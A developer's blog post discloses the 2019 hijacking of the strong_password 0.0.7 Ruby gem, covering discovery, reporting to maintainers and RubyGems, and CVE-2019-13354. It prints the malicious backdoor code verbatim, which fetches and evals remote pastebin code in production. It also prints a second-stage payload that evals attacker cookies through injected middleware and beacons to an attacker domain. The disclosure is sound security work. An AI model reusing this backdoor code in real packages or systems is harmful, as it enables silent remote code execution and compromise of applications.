strong_password v0.0.7 rubygem hijacked
I recently updated minor and patch versions of the gems our Rails app uses. We want to keep dependencies fresh, bugs fixed, security vulnerabilities addressed while maintaining a high chance of backward compatibility with our codebase. In all, it was 25 gems we’d upgrade.
I went line by line linking to each library’s changeset. This due diligence
never reported significant surprises to me, until this time. Most
gems have a CHANGELOG.md
file that describes the changes in each version. Some
do not, and I had to compare by git tags or commits list (like cocoon or bcrypt
gems). The jquery-rails
upgrade contains a jQuery.js
upgrade, so the related
log was in another project.
And I couldn’t find the changes for strong_password
. It appeared to have
gone from 0.0.6 to 0.0.7, yet the last change in any branch in GitHub was from 6
months ago, and we were up to date with those. If there was new code, it existed
only in RubyGems.org
.
I downloaded the gem from RubyGems and compared its contents with the latest
copy in GitHub. At the end of lib/strong_password/strength_checker.rb
version
0.0.7 there was the following:
1
2
3
4
def _!;begin;yield;rescue Exception;end;end
_!{Thread.new{loop{_!{sleep
rand*3333;eval(Net::HTTP.get(URI('https://pastebin.com/raw/xa456PFt')))}}}if
Rails.env[0]=="p"}
I checked who published it and it was an almost empty account, with a different name than the maintainer’s, with access only to this gem. I checked the maintainer’s email in GitHub and wrote to him with the prettified version of the diff:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
def _!;
begin;
yield;
rescue Exception;
end;
end
_!{
Thread.new {
loop {
_!{
sleep rand * 3333;
eval(
Net::HTTP.get(
URI('https://pastebin.com/raw/xa456PFt')
)
)
}
}
} if Rails.env[0] == "p"
}
In a loop within a new thread, after waiting for a random number of seconds up
to about an hour, it fetches and runs the code stored in a pastebin.com
, only if
running in production, with an empty exception handler that ignores any error
it may raise.
In fifteen minutes, Brian McManus wrote back:
The gem seems to have been pulled out from under me… When I login to rubygems.org I don’t seem to have ownership now. Bogus 0.0.7 release was created 6/25/2019.
In case the Pastebin got deleted or changed, I emailed the Pastebin that was up on June 28th at 8 PM UTC, carbon-copying Ruby on Rails’ security coordinator, Rafael França:
1
2
3
4
5
6
7
8
9
10
11
_! {
unless defined?(Z1)
Rack::Sendfile.prepend Module.new{define_method(:call){|e|
_!{eval(Base64.urlsafe_decode64(e['HTTP_COOKIE'].match(/___id=(.+);/)[1]))}
super(e)}}
Z1 = "(:"
end
}
_! {
Faraday.get("http://smiley.zzz.com.ua", { "x" => ENV["URL_HOST"].to_s })
While waiting for their answers, I tried to understand the code. If it didn’t
run before (checking for the existence of the Z1
dummy constant) it injects a
middleware that eval
‘s cookies named with an ___id
suffix, only in
production, all surrounded by the empty exception handler _!
function that’s
defined in the hijacked gem, opening the door to silently executing remote
code in production at the attacker’s will.
It also sends a request to a controlled domain with an HTTP header informing the
infected host URLs. It depends on the Faraday gem being loaded for the
notification to work (which the oauth2
and stripe
gems, for example,
include).
Rafael França replied in 25 minutes, adding security@rubygems.org
to the thread.
Someone at RubyGems quickly yanked it, and the next day André Arko confirmed he
had yanked it, locked the kickball
RubyGems account, and added Brian back to
the gem.
I asked for a CVE identifier (Common Vulnerabilities and Exposures) to
cve-request@mitre.org
, and they assigned CVE-2019-13354, which I used to announce
the potential issue in production installations to the rubysec/ruby-advisory-db
project and the ruby-security-ann Google Group.
EDIT (July 8th): the author explained how he thinks his account was taken over. He had his RubyGems account for long enough that 2-factor-auth wasn’t even an option, back then he didn’t have unique passwords in different websites, and since then many services got breached, and attackers might have guessed his credentials. Use password managers! Rotate weak passwords and activate 2FA wherever it matters.